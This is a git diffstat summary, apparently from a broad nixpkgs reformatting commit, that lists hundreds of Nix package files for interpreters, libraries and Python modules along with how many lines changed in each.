 pkgs/development/interpreters/guile/2.0.nix   | 110 ++-
 pkgs/development/interpreters/guile/2.2.nix   |  80 +-
 pkgs/development/interpreters/guile/3.0.nix   | 132 ++-
 .../interpreters/janet/default.nix            |  19 +-
 .../interpreters/lfe/generic-builder.nix      |   3 +-
 .../lua-5/build-luarocks-package.nix          |  48 +-
 .../interpreters/lua-5/default.nix            |   3 +-
 .../interpreters/lua-5/interpreter.nix        |  25 +-
 .../interpreters/lua-5/wrapper.nix            |  59 +-
 .../interpreters/luajit/default.nix           |  17 +-
 .../interpreters/octave/build-env.nix         |  87 +-
 .../octave/build-octave-package.nix           |   6 +-
 .../interpreters/octave/default.nix           | 131 ++-
 .../interpreters/perl/interpreter.nix         | 198 ++--
 .../development/interpreters/perl/wrapper.nix |  41 +-
 pkgs/development/interpreters/php/generic.nix |   3 +-
 .../python/cpython/2.7/default.nix            | 311 +++---
 .../interpreters/python/cpython/default.nix   | 485 +++++-----
 .../interpreters/python/hooks/default.nix     |  57 +-
 .../python/mk-python-derivation.nix           | 209 ++--
 .../interpreters/python/pypy/default.nix      | 143 ++-
 .../interpreters/python/pypy/prebuilt.nix     |  58 +-
 .../interpreters/python/pypy/prebuilt_2_7.nix |  58 +-
 .../python/python2/mk-python-derivation.nix   |  84 +-
 .../development/interpreters/python/tests.nix |  13 +-
 .../interpreters/python/wrapper.nix           |  43 +-
 .../interpreters/racket/minimal.nix           |  39 +-
 .../interpreters/rakudo/moarvm.nix            |  23 +-
 .../development/interpreters/ruby/default.nix | 313 +++---
 .../interpreters/spidermonkey/common.nix      | 111 ++-
 .../interpreters/supercollider/default.nix    |   6 +-
 pkgs/development/interpreters/tcl/generic.nix |  17 +-
 .../interpreters/tcl/mk-tcl-derivation.nix    |   3 +-
 .../interpreters/wasmer/default.nix           |  19 +-
 pkgs/development/julia-modules/depot.nix      |   3 +-
 .../libraries/abseil-cpp/202103.nix           |  68 +-
 .../libraries/abseil-cpp/202301.nix           |  46 +-
 .../libraries/abseil-cpp/202401.nix           |  17 +-
 .../libraries/abseil-cpp/202407.nix           |  17 +-
 .../libraries/accounts-qml-module/default.nix |  29 +-
 pkgs/development/libraries/agg/default.nix    |  34 +-
 pkgs/development/libraries/allegro/5.nix      |  88 +-
 .../libraries/appstream/default.nix           | 107 +--
 pkgs/development/libraries/aspell/default.nix |   3 +-
 .../libraries/aspell/dictionaries.nix         | 147 +--
 .../libraries/astal/buildAstalModule.nix      |   3 +-
 pkgs/development/libraries/avahi/default.nix  |  80 +-
 .../libraries/bashup-events/generic.nix       |   3 +-
 pkgs/development/libraries/boost/generic.nix  |  62 +-
 pkgs/development/libraries/botan/default.nix  |  92 +-
 pkgs/development/libraries/bullet/default.nix |  21 +-
 .../libraries/bullet/roboschool-fork.nix      |  19 +-
 pkgs/development/libraries/capstone/4.nix     |  13 +-
 .../libraries/capstone/default.nix            |  22 +-
 pkgs/development/libraries/catch2/3.nix       |  21 +-
 .../libraries/ceres-solver/default.nix        |  19 +-
 .../libraries/clucene-core/2.x.nix            |  72 +-
 .../libraries/ctranslate2/default.nix         |  16 +-
 pkgs/development/libraries/db/generic.nix     |  13 +-
 pkgs/development/libraries/dbus/default.nix   |  72 +-
 pkgs/development/libraries/draco/default.nix  |  38 +-
 .../libraries/drumstick/default.nix           |   3 +-
 pkgs/development/libraries/embree/default.nix |   3 +-
 pkgs/development/libraries/enchant/2.x.nix    |  25 +-
 pkgs/development/libraries/ffmpeg/generic.nix | 559 ++++++-----
 pkgs/development/libraries/flint/3.nix        |  40 +-
 pkgs/development/libraries/fltk/common.nix    |  60 +-
 .../libraries/fontconfig/default.nix          |  21 +-
 .../libraries/fontconfig/make-fonts-conf.nix  |  43 +-
 pkgs/development/libraries/fox/default.nix    |  31 +-
 pkgs/development/libraries/g2o/default.nix    |  25 +-
 .../libraries/gcc/libgcc/default.nix          | 161 ++--
 pkgs/development/libraries/gcr/4.nix          |  23 +-
 pkgs/development/libraries/gcr/default.nix    |  40 +-
 pkgs/development/libraries/gdcm/default.nix   | 106 +--
 .../libraries/gdk-pixbuf/default.nix          | 106 +--
 pkgs/development/libraries/gecode/default.nix |   3 +-
 pkgs/development/libraries/gegl/default.nix   |  80 +-
 .../development/libraries/gettext/default.nix |  76 +-
 pkgs/development/libraries/givaro/default.nix |  31 +-
 pkgs/development/libraries/glew/default.nix   |   3 +-
 pkgs/development/libraries/glibc/common.nix   | 356 ++++---
 pkgs/development/libraries/gmime/2.nix        |   9 +-
 pkgs/development/libraries/gmime/3.nix        |  49 +-
 pkgs/development/libraries/gmp/6.x.nix        |  41 +-
 pkgs/development/libraries/gnutls/default.nix |  98 +-
 .../gobject-introspection/default.nix         | 121 ++-
 .../gobject-introspection/wrapper.nix         |  81 +-
 pkgs/development/libraries/gpgme/default.nix  |  24 +-
 pkgs/development/libraries/gssdp/1.6.nix      |   3 +-
 pkgs/development/libraries/gssdp/default.nix  |  28 +-
 .../libraries/gstreamer/bad/default.nix       | 475 +++++----
 .../libraries/gstreamer/base/default.nix      | 176 ++--
 .../libraries/gstreamer/core/default.nix      |  80 +-
 .../libraries/gstreamer/devtools/default.nix  |  42 +-
 .../libraries/gstreamer/ges/default.nix       |  44 +-
 .../libraries/gstreamer/good/default.nix      | 308 +++---
 .../gstreamer/icamerasrc/default.nix          |  23 +-
 .../libraries/gstreamer/libav/default.nix     |  38 +-
 .../libraries/gstreamer/rs/default.nix        |  69 +-
 .../gstreamer/rtsp-server/default.nix         |  38 +-
 .../libraries/gstreamer/ugly/default.nix      |  95 +-
 .../libraries/gstreamer/vaapi/default.nix     |  74 +-
 pkgs/development/libraries/gtk/2.x.nix        | 118 ++-
 pkgs/development/libraries/gtk/3.x.nix        | 117 ++-
 pkgs/development/libraries/gtk/4.x.nix        | 284 +++---
 pkgs/development/libraries/gupnp/default.nix  |   3 +-
 pkgs/development/libraries/hamlib/4.nix       |  59 +-
 pkgs/development/libraries/hamlib/default.nix |  59 +-
 pkgs/development/libraries/hivex/default.nix  |  38 +-
 pkgs/development/libraries/icu/make-icu.nix   |  56 +-
 .../libraries/irrlicht/default.nix            |  18 +-
 pkgs/development/libraries/itk/generic.nix    | 126 ++-
 .../development/libraries/jabcode/default.nix |   3 +-
 .../libraries/jemalloc/default.nix            |  57 +-
 .../kde-frameworks/kdoctools/default.nix      |  21 +-
 .../kde-frameworks/kinit/default.nix          |  15 +-
 .../libraries/kde-frameworks/kio/default.nix  |  76 +-
 .../kde-frameworks/knotifications.nix         |  25 +-
 .../kde-frameworks/solid/default.nix          |   3 +-
 .../libraries/kerberos/heimdal.nix            |  72 +-
 pkgs/development/libraries/kerberos/krb5.nix  |  92 +-
 .../development/libraries/libbutl/default.nix |  13 +-
 pkgs/development/libraries/libcec/default.nix |  16 +-
 .../libraries/libcommuni/default.nix          |  19 +-
 .../libraries/libdevil/default.nix            |  25 +-
 .../libraries/libextractor/default.nix        |  68 +-
 pkgs/development/libraries/libgda/5.x.nix     |  23 +-
 pkgs/development/libraries/libgda/6.x.nix     |  29 +-
 .../development/libraries/libgpod/default.nix |  27 +-
 .../libraries/libhandy/default.nix            |  92 +-
 .../libraries/libiconv/default.nix            |   3 +-
 pkgs/development/libraries/libiio/default.nix |  83 +-
 .../libraries/libinput/default.nix            |  62 +-
 pkgs/development/libraries/libint/default.nix |  68 +-
 .../libraries/libopenshot/default.nix         |  35 +-
 .../libraries/libpulsar/default.nix           |  33 +-
 .../libraries/libpwquality/default.nix        |   6 +-
 .../libraries/libqtdbusmock/default.nix       |  17 +-
 pkgs/development/libraries/librdf/redland.nix |  41 +-
 .../libraries/librealsense/default.nix        |  92 +-
 .../libraries/libressl/default.nix            |   3 +-
 .../development/libraries/librest/default.nix |  19 +-
 pkgs/development/libraries/libsoup/3.x.nix    |  49 +-
 .../development/libraries/libsoup/default.nix |  63 +-
 .../development/libraries/libubox/default.nix |   7 +-
 .../libraries/libunique/default.nix           |   3 +-
 .../libraries/libunwind/default.nix           |  27 +-
 pkgs/development/libraries/libva/1.nix        |  23 +-
 pkgs/development/libraries/libva/default.nix  |  43 +-
 .../development/libraries/libwnck/default.nix |  27 +-
 .../development/libraries/libxml2/default.nix |  74 +-
 .../development/libraries/libxslt/default.nix |  51 +-
 .../libraries/liquid-dsp/default.nix          |  15 +-
 .../development/libraries/medfile/default.nix |  43 +-
 pkgs/development/libraries/mesa/default.nix   | 291 +++---
 pkgs/development/libraries/mpich/default.nix  |  38 +-
 .../development/libraries/ncurses/default.nix | 158 ++-
 pkgs/development/libraries/ngtcp2/default.nix |   3 +-
 pkgs/development/libraries/nss/generic.nix    |  87 +-
 .../development/libraries/nuspell/default.nix |  28 +-
 pkgs/development/libraries/ogre/default.nix   |  70 +-
 .../development/libraries/opencolorio/1.x.nix |  26 +-
 .../libraries/opencolorio/default.nix         |  60 +-
 .../development/libraries/opencsg/default.nix |  38 +-
 pkgs/development/libraries/opencv/4.x.nix     | 540 ++++++-----
 pkgs/development/libraries/opencv/tests.nix   |  78 +-
 pkgs/development/libraries/openexr/2.nix      |   3 +-
 .../development/libraries/openssl/default.nix | 190 ++--
 pkgs/development/libraries/pango/default.nix  |  47 +-
 pkgs/development/libraries/pcre/default.nix   |  26 +-
 pkgs/development/libraries/pcre2/default.nix  |  17 +-
 .../libraries/physics/hepmc3/default.nix      |  23 +-
 .../libraries/physics/lhapdf/default.nix      |  15 +-
 .../libraries/physics/pythia/default.nix      |  29 +-
 .../libraries/pipewire/default.nix            | 123 ++-
 .../libraries/pipewire/wireplumber.nix        |  52 +-
 .../development/libraries/poppler/default.nix | 116 ++-
 .../libraries/protobuf/generic.nix            |  21 +-
 .../libraries/qcustomplot/default.nix         |  13 +-
 .../development/libraries/qdjango/default.nix |  23 +-
 .../libraries/qgnomeplatform/default.nix      |  40 +-
 .../libraries/qmenumodel/default.nix          |  21 +-
 .../libraries/qscintilla/default.nix          |   3 +-
 .../libraries/qt-5/5.15/default.nix           |  97 +-
 .../libraries/qt-5/modules/qtbase.nix         | 603 ++++++------
 .../libraries/qt-5/modules/qtimageformats.nix |  23 +-
 .../libraries/qt-5/modules/qtmultimedia.nix   |  21 +-
 .../libraries/qt-5/modules/qtsystems.nix      |  32 +-
 .../libraries/qt-5/modules/qttools.nix        |   3 +-
 .../libraries/qt-5/modules/qtwebchannel.nix   |   3 +-
 .../libraries/qt-5/modules/qtwebengine.nix    | 362 ++++---
 .../libraries/qt-5/modules/qtwebkit.nix       |  18 +-
 pkgs/development/libraries/qt-5/qtModule.nix  |  48 +-
 pkgs/development/libraries/qt-6/default.nix   |  13 +-
 .../libraries/qt-6/modules/qtbase/default.nix | 233 +++--
 .../qt-6/modules/qtdeclarative/default.nix    |  19 +-
 .../qt-6/modules/qtmultimedia/default.nix     |  62 +-
 .../libraries/qt-6/modules/qtsvg.nix          |  21 +-
 .../qt-6/modules/qttools/default.nix          |   3 +-
 .../qt-6/modules/qtwebengine/default.nix      | 331 ++++---
 .../libraries/qt-6/modules/qtwebview.nix      |   3 +-
 pkgs/development/libraries/qt-6/qtModule.nix  |   3 +-
 .../development/libraries/qtspell/default.nix |  17 +-
 .../qtstyleplugin-kvantum/default.nix         |  23 +-
 pkgs/development/libraries/quarto/default.nix |   3 +-
 .../development/libraries/quictls/default.nix |  70 +-
 pkgs/development/libraries/qxmpp/default.nix  |  36 +-
 pkgs/development/libraries/readline/7.0.nix   |   3 +-
 .../science/astronomy/indilib/default.nix     |  17 +-
 .../astronomy/indilib/indi-3rdparty.nix       |  26 +-
 .../libraries/science/math/magma/generic.nix  | 129 ++-
 .../science/math/openblas/default.nix         |  96 +-
 .../science/math/p4est-sc/default.nix         |   9 +-
 .../science/math/suitesparse/4.4.nix          |  57 +-
 .../science/math/suitesparse/default.nix      |  79 +-
 .../science/math/trilinos/default.nix         |   3 +-
 .../science/networking/ns-3/default.nix       |   3 +-
 .../libraries/silgraphite/graphite2.nix       |  15 +-
 pkgs/development/libraries/sqlite/default.nix |  13 +-
 pkgs/development/libraries/sqlite/sqlar.nix   |  16 +-
 .../libraries/sundials/default.nix            |  76 +-
 pkgs/development/libraries/tinyxml/2.6.2.nix  |  29 +-
 pkgs/development/libraries/tk/generic.nix     |  46 +-
 .../libraries/tpm2-tss/default.nix            |  76 +-
 .../libraries/unixODBCDrivers/default.nix     |   3 +-
 pkgs/development/libraries/vigra/default.nix  |  17 +-
 pkgs/development/libraries/vtk/generic.nix    | 109 ++-
 .../development/libraries/wayland/default.nix |  71 +-
 .../development/libraries/wayland/scanner.nix |   3 +-
 .../libraries/waylandpp/default.nix           |  51 +-
 .../libraries/webkitgtk/default.nix           | 172 ++--
 .../development/libraries/wlroots/default.nix |  46 +-
 pkgs/development/libraries/wt/default.nix     |  19 +-
 pkgs/development/libraries/xapian/default.nix |  13 +-
 .../libraries/xdg-desktop-portal/default.nix  |  70 +-
 pkgs/development/libraries/zlib/default.nix   |  28 +-
 pkgs/development/lisp-modules/packages.nix    |  10 +-
 .../lua-modules/generic/default.nix           |   3 +-
 pkgs/development/lua-modules/luv/default.nix  |  21 +-
 pkgs/development/lua-modules/luv/lib.nix      |   3 +-
 pkgs/development/misc/msp430/mspdebug.nix     |   9 +-
 .../development/misc/msp430/mspds/default.nix |  18 +-
 pkgs/development/misc/newlib/default.nix      | 143 ++-
 .../misc/resholve/resholve-utils.nix          |  58 +-
 pkgs/development/misc/resholve/test.nix       |  72 +-
 .../mobile/androidenv/build-tools.nix         |  33 +-
 .../mobile/androidenv/cmdline-tools.nix       |   3 +-
 .../androidenv/deploy-androidpackages.nix     |  57 +-
 .../mobile/androidenv/emulate-app.nix         |  23 +-
 .../mobile/androidenv/examples/shell.nix      |  13 +-
 .../mobile/androidenv/ndk-bundle/default.nix  |   3 +-
 pkgs/development/node-packages/node-env.nix   |  50 +-
 pkgs/development/node-packages/overrides.nix  |  18 +-
 .../ocaml-modules/camlzip/default.nix         |  12 +-
 pkgs/development/ocaml-modules/eio/main.nix   |  13 +-
 .../ocaml-modules/elina/default.nix           |   3 +-
 .../ocaml-modules/elpi/default.nix            |  60 +-
 .../janestreet/janePackage_0_12.nix           |   3 +-
 .../janestreet/janePackage_0_14.nix           |   3 +-
 .../janestreet/janePackage_0_15.nix           |   3 +-
 .../janestreet/janePackage_0_16.nix           |   3 +-
 .../janestreet/janePackage_0_17.nix           |   3 +-
 .../ocaml-modules/lablgtk/default.nix         |   3 +-
 .../ocaml-modules/lambda-term/default.nix     |  21 +-
 .../ocaml-modules/mirage-crypto/default.nix   |  13 +-
 .../ocaml-modules/mirage-crypto/ec.nix        |  15 +-
 .../development/ocaml-modules/num/default.nix |   3 +-
 .../ocaml-modules/ocamlformat/generic.nix     |  57 +-
 .../ocaml-modules/ocamlformat/ocamlformat.nix |  13 +-
 .../ocaml-modules/odoc-parser/default.nix     |   3 +-
 .../ppx_deriving_yojson/default.nix           |   3 +-
 .../ocaml-modules/ppxlib/default.nix          |  19 +-
 .../ocaml-modules/sail/default.nix            |  19 +-
 .../ocaml-modules/sedlex/default.nix          |  15 +-
 .../ocaml-modules/tcpip/default.nix           |  51 +-
 .../ocaml-modules/uunf/default.nix            |   3 +-
 .../ocaml-modules/uuseg/default.nix           |   3 +-
 pkgs/development/ocaml-modules/vg/default.nix |  23 +-
 .../perl-modules/Tirex/default.nix            |   3 +-
 .../perl-modules/generic/default.nix          |   3 +-
 .../strip-nondeterminism/default.nix          |  17 +-
 .../php-packages/datadog_trace/default.nix    |  15 +-
 .../php-packages/mongodb/default.nix          |  23 +-
 .../php-packages/relay/default.nix            |  79 +-
 .../php-packages/snuffleupagus/default.nix    |  11 +-
 .../python-modules/aardwolf/default.nix       |   3 +-
 .../python-modules/accelerate/default.nix     | 145 ++-
 .../python-modules/accupy/default.nix         |   3 +-
 .../python-modules/acquire/default.nix        |   3 +-
 .../python-modules/adb-shell/default.nix      |   3 +-
 .../python-modules/adblock/default.nix        |  24 +-
 .../python-modules/aenum/default.nix          |  29 +-
 .../python-modules/afdko/default.nix          | 100 +-
 .../python-modules/aider-chat/default.nix     |  54 +-
 .../python-modules/aioboto3/default.nix       |  20 +-
 .../python-modules/aiobotocore/default.nix    |   3 +-
 .../python-modules/aiocache/default.nix       |  30 +-
 .../python-modules/aioesphomeapi/default.nix  |   3 +-
 .../python-modules/aioftp/default.nix         |   3 +-
 .../python-modules/aiogram/default.nix        |   3 +-
 .../python-modules/aiohomeconnect/default.nix |   3 +-
 .../aiohttp-client-cache/default.nix          |   3 +-
 .../python-modules/aiohttp-socks/default.nix  |   3 +-
 .../python-modules/aiohttp/default.nix        |  61 +-
 .../python-modules/aiojobs/default.nix        |   3 +-
 .../python-modules/aiomisc/default.nix        |  12 +-
 .../python-modules/aioprometheus/default.nix  |   3 +-
 .../python-modules/aioredis/default.nix       |   3 +-
 .../python-modules/aiorpcx/default.nix        |   3 +-
 .../python-modules/aiortm/default.nix         |   3 +-
 .../python-modules/aiosmtpd/default.nix       |   3 +-
 .../python-modules/aioswitcher/default.nix    |  25 +-
 .../python-modules/aiovlc/default.nix         |   3 +-
 .../python-modules/aioxmpp/default.nix        |  33 +-
 .../python-modules/ale-py/default.nix         |  30 +-
 .../python-modules/alembic/default.nix        |  19 +-
 .../python-modules/alpha-vantage/default.nix  |   3 +-
 .../python-modules/altair/default.nix         |   3 +-
 .../python-modules/amaranth/default.nix       |  15 +-
 .../python-modules/amqp/default.nix           |  17 +-
 .../python-modules/androguard/default.nix     |  49 +-
 .../python-modules/androidtv/default.nix      |  13 +-
 .../python-modules/ansible-runner/default.nix |  26 +-
 .../python-modules/ansible/core.nix           |   3 +-
 .../python-modules/anyio/default.nix          |  65 +-
 .../python-modules/anywidget/default.nix      |   3 +-
 .../python-modules/apache-beam/default.nix    | 305 +++---
 .../python-modules/apischema/default.nix      |   3 +-
 .../python-modules/apispec/default.nix        |   6 +-
 .../apple-weatherkit/default.nix              |   3 +-
 .../appthreat-vulnerability-db/default.nix    |   3 +-
 .../python-modules/apscheduler/default.nix    |  23 +-
 .../python-modules/apsw/default.nix           |   3 +-
 .../python-modules/arelle/default.nix         |  23 +-
 .../python-modules/argilla/default.nix        |  55 +-
 .../argparse-manpage/default.nix              |   3 +-
 .../python-modules/aria2p/default.nix         |   6 +-
 .../array-api-compat/default.nix              |   3 +-
 .../python-modules/array-record/default.nix   |   3 +-
 .../python-modules/ase/default.nix            |  26 +-
 .../python-modules/asn1tools/default.nix      |   3 +-
 .../asteroid-filterbanks/default.nix          |  41 +-
 .../python-modules/astropy/default.nix        |  51 +-
 .../async-upnp-client/default.nix             |   3 +-
 .../python-modules/asyncssh/default.nix       |   3 +-
 .../python-modules/asyncua/default.nix        |  35 +-
 .../python-modules/asyncwhois/default.nix     |   3 +-
 .../python-modules/auth0-python/default.nix   |   3 +-
 .../python-modules/autobahn/default.nix       |  15 +-
 .../python-modules/avwx-engine/default.nix    |   3 +-
 .../python-modules/aws-xray-sdk/default.nix   |   3 +-
 .../python-modules/ax-platform/default.nix    |  58 +-
 .../python-modules/azure-core/default.nix     |   6 +-
 .../azure-cosmosdb-table/default.nix          |   3 +-
 .../azure-kusto-data/default.nix              |   3 +-
 .../azure-kusto-ingest/default.nix            |   3 +-
 .../azure-mgmt-advisor/default.nix            |   3 +-
 .../azure-mgmt-appcontainers/default.nix      |   3 +-
 .../default.nix                               |   3 +-
 .../azure-mgmt-authorization/default.nix      |   3 +-
 .../azure-mgmt-batchai/default.nix            |   3 +-
 .../azure-mgmt-datamigration/default.nix      |   3 +-
 .../azure-mgmt-devtestlabs/default.nix        |   3 +-
 .../azure-mgmt-hanaonazure/default.nix        |   3 +-
 .../azure-mgmt-iotcentral/default.nix         |   3 +-
 .../azure-mgmt-iothub/default.nix             |   3 +-
 .../azure-mgmt-managementgroups/default.nix   |   3 +-
 .../azure-mgmt-maps/default.nix               |   3 +-
 .../default.nix                               |   3 +-
 .../azure-mgmt-monitor/default.nix            |   3 +-
 .../azure-mgmt-policyinsights/default.nix     |   3 +-
 .../azure-mgmt-rdbms/default.nix              |   3 +-
 .../azure-mgmt-recoveryservices/default.nix   |   3 +-
 .../azure-mgmt-redis/default.nix              |   3 +-
 .../azure-mgmt-reservations/default.nix       |   3 +-
 .../azure-mgmt-search/default.nix             |   3 +-
 .../python-modules/azure-mgmt-sql/default.nix |   3 +-
 .../azure-mgmt-subscription/default.nix       |   3 +-
 .../azure-mgmt-trafficmanager/default.nix     |   3 +-
 .../azure-storage-common/default.nix          |   3 +-
 .../azure-storage-file/default.nix            |   3 +-
 .../python-modules/b2sdk/default.nix          |  20 +-
 .../python-modules/babel/default.nix          |   3 +-
 .../python-modules/bambi/default.nix          |  91 +-
 .../python-modules/banks/default.nix          |   3 +-
 .../python-modules/basedmypy/default.nix      |  61 +-
 .../bc-detect-secrets/default.nix             |   3 +-
 .../python-modules/beaker/default.nix         |  19 +-
 .../python-modules/beanhub-cli/default.nix    |   6 +-
 .../python-modules/beartype/default.nix       |  17 +-
 .../python-modules/beautifulsoup4/default.nix |   3 +-
 .../python-modules/bellows/default.nix        |   3 +-
 .../python-modules/bentoml/default.nix        |  17 +-
 .../python-modules/betterproto/default.nix    |   3 +-
 .../bimmer-connected/default.nix              |   3 +-
 .../python-modules/biosppy/default.nix        |   3 +-
 .../python-modules/black/default.nix          |  76 +-
 .../python-modules/blackjax/default.nix       |  39 +-
 .../python-modules/blocksat-cli/default.nix   |   3 +-
 .../python-modules/blosc2/default.nix         |   3 +-
 .../python-modules/bork/default.nix           |  19 +-
 .../python-modules/botorch/default.nix        |  47 +-
 .../python-modules/bottle/default.nix         |  29 +-
 .../python-modules/bpython/default.nix        |   3 +-
 .../python-modules/bravado-core/default.nix   |   3 +-
 .../python-modules/breezy/default.nix         |  27 +-
 .../python-modules/build/default.nix          |  38 +-
 .../python-modules/bundlewrap/default.nix     |   3 +-
 .../python-modules/bx-py-utils/default.nix    |  15 +-
 .../python-modules/bytewax/default.nix        |   3 +-
 .../python-modules/cachecontrol/default.nix   |   3 +-
 .../python-modules/cairocffi/default.nix      |   3 +-
 .../camel-converter/default.nix               |   3 +-
 .../python-modules/canals/default.nix         |   3 +-
 .../python-modules/canmatrix/default.nix      |   6 +-
 .../python-modules/cantools/default.nix       |   3 +-
 .../python-modules/cartopy/default.nix        |   3 +-
 .../cassandra-driver/default.nix              |   3 +-
 .../python-modules/cattrs/default.nix         |  36 +-
 .../python-modules/causal-conv1d/default.nix  |   3 +-
 .../python-modules/celery/default.nix         |  42 +-
 .../python-modules/cement/default.nix         |   3 +-
 .../python-modules/certomancer/default.nix    |   3 +-
 .../python-modules/cf-xarray/default.nix      |   3 +-
 .../python-modules/cfn-lint/default.nix       |   3 +-
 .../python-modules/cgal/default.nix           |  25 +-
 .../python-modules/channels/default.nix       |   3 +-
 .../python-modules/check-manifest/default.nix |   3 +-
 .../python-modules/cheroot/default.nix        |  19 +-
 .../python-modules/cherrypy/default.nix       |  57 +-
 .../python-modules/cirq-core/default.nix      |  70 +-
 .../python-modules/cirq-google/default.nix    |   3 +-
 .../python-modules/claripy/default.nix        |   3 +-
 .../python-modules/cleanlab/default.nix       |  31 +-
 .../python-modules/cli-helpers/default.nix    |   6 +-
 .../click-odoo-contrib/default.nix            |   3 +-
 .../clickhouse-connect/default.nix            |  13 +-
 .../python-modules/cloudpathlib/default.nix   |   3 +-
 .../python-modules/cmd2/default.nix           |   3 +-
 .../python-modules/cmdstanpy/default.nix      |  25 +-
 .../python-modules/coffea/default.nix         |   3 +-
 .../coinmetrics-api-client/default.nix        |   3 +-
 .../python-modules/comicapi/default.nix       |   3 +-
 .../python-modules/commoncode/default.nix     |  29 +-
 .../python-modules/configargparse/default.nix |   3 +-
 .../confluent-kafka/default.nix               |   3 +-
 .../connected-components-3d/default.nix       |   3 +-
 .../python-modules/connexion/default.nix      |  28 +-
 .../python-modules/constantly/default.nix     |   3 +-
 .../construct-typing/default.nix              |  21 +-
 .../python-modules/construct/default.nix      |   6 +-
 .../python-modules/controku/default.nix       |  32 +-
 .../python-modules/corallium/default.nix      |  17 +-
 .../python-modules/cot/default.nix            |   3 +-
 .../craft-application/default.nix             |  39 +-
 .../python-modules/craft-parts/default.nix    |  35 +-
 .../python-modules/cryptography/default.nix   |  19 +-
 .../python-modules/css-inline/default.nix     |  19 +-
 .../python-modules/cssutils/default.nix       |   3 +-
 .../python-modules/csvw/default.nix           |  23 +-
 .../python-modules/cu2qu/default.nix          |   3 +-
 .../python-modules/curio/default.nix          |  27 +-
 .../python-modules/cvxopt/default.nix         |  47 +-
 .../python-modules/cx-freeze/default.nix      | 130 ++-
 .../cyclonedx-python-lib/default.nix          |   3 +-
 .../python-modules/cyclopts/default.nix       |   3 +-
 pkgs/development/python-modules/cython/0.nix  |  33 +-
 .../python-modules/cython/default.nix         |  33 +-
 .../python-modules/daphne/default.nix         |   3 +-
 .../python-modules/dask-awkward/default.nix   |   3 +-
 .../python-modules/dask-glm/default.nix       |   3 +-
 .../python-modules/dask-jobqueue/default.nix  |  95 +-
 .../python-modules/dask-ml/default.nix        |  27 +-
 .../python-modules/dask/default.nix           |  47 +-
 .../dataclass-wizard/default.nix              |  13 +-
 .../python-modules/datadog/default.nix        |  29 +-
 .../python-modules/datafusion/default.nix     |  11 +-
 .../python-modules/datalad-next/default.nix   |  71 +-
 .../python-modules/datalad/default.nix        |  33 +-
 .../python-modules/dataproperty/default.nix   |   3 +-
 .../python-modules/dateparser/default.nix     |   3 +-
 .../python-modules/dbt-adapters/default.nix   |   3 +-
 .../python-modules/dbt-common/default.nix     |   3 +-
 .../python-modules/dbt-core/default.nix       |   3 +-
 .../python-modules/dbt-snowflake/default.nix  |   3 +-
 .../python-modules/deal-solver/default.nix    |   3 +-
 .../python-modules/deal/default.nix           |  55 +-
 .../python-modules/debuglater/default.nix     |   3 +-
 .../python-modules/debugpy/default.nix        |  82 +-
 .../python-modules/deepdiff/default.nix       |  28 +-
 .../python-modules/defcon/default.nix         |  11 +-
 .../python-modules/deltalake/default.nix      |  28 +-
 .../python-modules/denonavr/default.nix       |   3 +-
 .../dependency-injector/default.nix           |   3 +-
 .../python-modules/depyf/default.nix          |  35 +-
 .../desktop-notifier/default.nix              |  15 +-
 .../python-modules/detectron2/default.nix     |  83 +-
 .../python-modules/devito/default.nix         | 111 ++-
 .../python-modules/diffimg/default.nix        |  17 +-
 .../python-modules/diffusers/default.nix      |  44 +-
 .../python-modules/discordpy/default.nix      |   3 +-
 .../python-modules/disnake/default.nix        |  17 +-
 .../dissect-cobaltstrike/default.nix          |   3 +-
 .../python-modules/dissect-target/default.nix |  73 +-
 .../python-modules/dissect/default.nix        |   3 +-
 .../python-modules/distributed/default.nix    |   3 +-
 .../python-modules/dj-rest-auth/default.nix   |   6 +-
 .../python-modules/django-allauth/default.nix |   6 +-
 .../python-modules/django-anymail/default.nix |   3 +-
 .../django-bootstrap5/default.nix             |   3 +-
 .../django-filingcabinet/default.nix          |  13 +-
 .../django-haystack/default.nix               |   3 +-
 .../django-import-export/default.nix          |   3 +-
 .../django-mailman3/default.nix               |  17 +-
 .../python-modules/django-markup/default.nix  |   3 +-
 .../django-modelcluster/default.nix           |   3 +-
 .../django-payments/default.nix               |   3 +-
 .../python-modules/django-q2/default.nix      |  29 +-
 .../python-modules/django-redis/default.nix   |   3 +-
 .../django-storages/default.nix               |   3 +-
 .../python-modules/django-stubs/default.nix   |   6 +-
 .../python-modules/django-tables2/default.nix |   3 +-
 pkgs/development/python-modules/django/3.nix  |  25 +-
 pkgs/development/python-modules/django/4.nix  |  95 +-
 pkgs/development/python-modules/django/5.nix  |  48 +-
 .../djangorestframework-stubs/default.nix     |   3 +-
 .../djangorestframework/default.nix           |  31 +-
 .../python-modules/dm-control/default.nix     |   3 +-
 .../python-modules/dm-sonnet/default.nix      |   3 +-
 .../python-modules/dns-lexicon/default.nix    |   6 +-
 .../python-modules/docker-pycreds/default.nix |  11 +-
 .../python-modules/docker/default.nix         |   3 +-
 .../python-modules/dockerflow/default.nix     |   3 +-
 .../python-modules/docling-serve/default.nix  |  27 +-
 .../python-modules/docplex/default.nix        |   3 +-
 .../python-modules/doit/default.nix           |  15 +-
 .../python-modules/dparse/default.nix         |   3 +-
 .../python-modules/dramatiq/default.nix       |  55 +-
 .../drf-extra-fields/default.nix              |  26 +-
 .../python-modules/drf-jwt/default.nix        |   3 +-
 .../drf-spectacular/default.nix               |   3 +-
 .../python-modules/dscribe/default.nix        |  33 +-
 .../python-modules/dsnap/default.nix          |   3 +-
 .../python-modules/duckdb-engine/default.nix  |  50 +-
 .../python-modules/duckdb/default.nix         |  20 +-
 .../duckduckgo-search/default.nix             |   3 +-
 .../python-modules/dufte/default.nix          |   3 +-
 .../python-modules/dukpy/default.nix          |   3 +-
 .../python-modules/dulwich/default.nix        |   3 +-
 .../python-modules/dvc-hdfs/default.nix       |   3 +-
 .../python-modules/dvc-render/default.nix     |  17 +-
 .../python-modules/dvc/default.nix            |  97 +-
 .../python-modules/dvclive/default.nix        |   6 +-
 .../python-modules/e3-core/default.nix        |  35 +-
 .../python-modules/edalize/default.nix        |   3 +-
 .../python-modules/elastic-apm/default.nix    |  17 +-
 .../python-modules/eliot/default.nix          |   3 +-
 .../python-modules/energyflow/default.nix     |  30 +-
 .../python-modules/entrance/default.nix       |   3 +-
 .../python-modules/envisage/default.nix       |   3 +-
 .../python-modules/equinox/default.nix        |  19 +-
 .../python-modules/ete3/default.nix           |  15 +-
 .../python-modules/eth-abi/default.nix        |   3 +-
 .../python-modules/eth-bloom/default.nix      |   3 +-
 .../python-modules/eth-hash/default.nix       |  36 +-
 .../python-modules/eth-keys/default.nix       |  21 +-
 .../python-modules/eth-utils/default.nix      |  16 +-
